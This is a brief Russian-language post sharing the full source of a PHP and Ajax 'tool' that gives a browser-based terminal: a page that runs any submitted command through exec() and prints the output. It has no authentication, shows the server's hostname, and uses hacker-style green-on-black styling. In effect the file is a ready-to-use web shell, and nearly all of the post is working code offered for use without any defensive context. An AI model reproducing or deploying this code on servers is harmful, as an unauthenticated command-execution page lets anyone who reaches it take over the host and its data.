Небольшая тулза на PHP+Ajax, которая позволяет выполнять shell команды.
<?php if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') { if (!empty($_POST['command'])) { exec($_POST['command'], $result); if (is_array($result)) { foreach ($result as $str) $res[] = htmlspecialchars($str); $res = isset($res) ? implode("<br />", $res) : ''; } else { $res = $result; } echo $res; } exit(); } ?>
<!DOCTYPE HTML> <html> <head> <title>Shell</title> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script> <script type="text/javascript"> function clear(c) { c.attr("value", ""); } $(document).ready(function () { var c = $("input[name='command']"); clear(c); c.focus(function () { $("span").hide(); }); c.blur(function () { $("span").show(); }); c.keyup(function (event) { if (event.keyCode == 13) $.post('sh.php', { command: $(this).val() }, function (data) { $("div").html(data); clear(c); }); }); }); </script> <style type="text/css"> * { background: #000; border: 0; color: green; font: 62.5% Arial, Helvetica, sans-serif; width: 100%; } body { font-size: 1.5em; margin: 0; padding: 0; } input { background-color: #000; font-size: 1em; width: 80%; } div { background: #000; font-size: 1em; height: 100%; min-height: 20px; width: 90%; } strong { color: #fff; } hr { color: #fff; background-color: #fff; height: 1px; margin-top: 0; width: 100%; } blink { font-size: 1.5em; } p { background: #fff url(http://www.catb.org/~esr/hacker-emblem/glider.png) no-repeat top right; display: block; height: 55px; right: 20px; position: absolute; width: 55px; } </style> </head> <body> <?php system('hostname')?>><span><blink>_</blink></span> <input name="command"/> <hr/> <p></p> <div></div> </body> </html>